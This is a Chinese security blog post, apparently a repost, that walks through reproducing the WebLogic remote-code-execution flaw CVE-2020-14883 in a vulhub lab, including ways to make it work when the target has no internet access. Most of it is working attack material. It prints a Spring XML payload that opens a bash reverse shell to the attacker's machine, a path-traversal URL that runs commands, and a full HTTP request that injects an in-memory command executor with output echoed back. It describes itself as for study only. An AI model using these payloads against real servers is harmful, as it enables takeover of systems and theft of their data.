​复现CVE-2020-14883(说几个坑)

admin 2021年1月19日01:13:13评论508 views字数 4740阅读15分48秒阅读模式

  

复现过程中遇到的坑:

 

1、如果使用python命令开启:
python -m SimpleHTTPServer
有可能会导致访问此目录的时候是呈现出下载此文件
正确的调用需要放在web目录下,能够进行访问的形式

如:


​复现CVE-2020-14883(说几个坑)



2

如果在不出网的情况下是否还能利用成功,然后我们就做了一下实验把网线拔了,确实远程加载不了xml,哪怕靶机跟攻击机在同一个C段内,也是调用不成功。

再多次尝试下发现了xml里有对外加载一些东西:

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>bash</value>            <value>-c</value>            <value><![CDATA[bash -i >& /dev/tcp/ip/8888 0>&1]]></value>          </list>        </constructor-arg>    </bean></beans>

 

在多次的删除、替换等操作下,发现可以使用本地调用的方式来解决:

就是下载该文件:http://www.springframework.org/schema/beans/spring-beans.xsd

然后在本地搭建的web下,去加载这个文件,具体代码如下:


<?xml version="1.0"encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xsi:schemaLocation="http://www.springframework.org/schema/beans http://192.168.124.133/spring-beans.xsd">   <bean id="pb" class="java.lang.ProcessBuilder"init-method="start">       <constructor-arg>         <list>           <value>bash</value>           <value>-c</value>           <value><![CDATA[bash -i >&/dev/tcp/192.168.124.133/8888 0>&1]]></value>         </list>       </constructor-arg>   </bean></beans>

 

保证spring-beans.xsd能够进行访问


​复现CVE-2020-14883(说几个坑)



然后再使用payload就可以反弹shell了

同事又严谨的提出一定要用10.3.6的版本来进行尝试

就开了一台10.3.6的靶机来进行利用

再断网的情况下复现成功了


​复现CVE-2020-14883(说几个坑)

​复现CVE-2020-14883(说几个坑) 


使用vulhub靶机

靶机启动后先访问一下


​复现CVE-2020-14883(说几个坑)


 

漏洞主要使用了com.tangosol.coherence.mvel2.sh.ShellSession,跟com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

访问URL即可使用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

 

http://192.168.1.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/1');")

 

 

进入容器里查看/tmp/目录下是否创建了1文件


​复现CVE-2020-14883(说几个坑)

 

再使用有回显的payload:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1Host: 172.16.242.134:7001cmd: chcp 65001&&whoami&&ipconfigUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 1258 _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if (cmd != null) {    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\A").next();    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));    res.getServletOutputStream().flush();    res.getWriter().write("");}executeThread.interrupt();");


​复现CVE-2020-14883(说几个坑)


Payload来自:https://github.com/jas502n/CVE-2020-14882

 

 

这个payload只能在Weblogic 12.2.1以上版本利用,因为10.3.6不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

只能够另找com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext来进行使用

需要构造一个xml文件,需要靶机能够进行访问,xml文件内容:

 

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>bash</value>            <value>-c</value>            <value><![CDATA[bash -i >& /dev/tcp/ip/8888 0>&1]]></value>          </list>        </constructor-arg>    </bean></beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的payload

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

 

​复现CVE-2020-14883(说几个坑)


​复现CVE-2020-14883(说几个坑)

 

参考文献:

https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md

https://github.com/jas502n/CVE-2020-14882

 

本次实验均为虚拟机环境,仅供学习参考


本文始发于微信公众号(Khan安全团队):​复现CVE-2020-14883(说几个坑)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年1月19日01:13:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ​复现CVE-2020-14883(说几个坑)https://cn-sec.com/archives/245997.html

发表评论

匿名网友 填写信息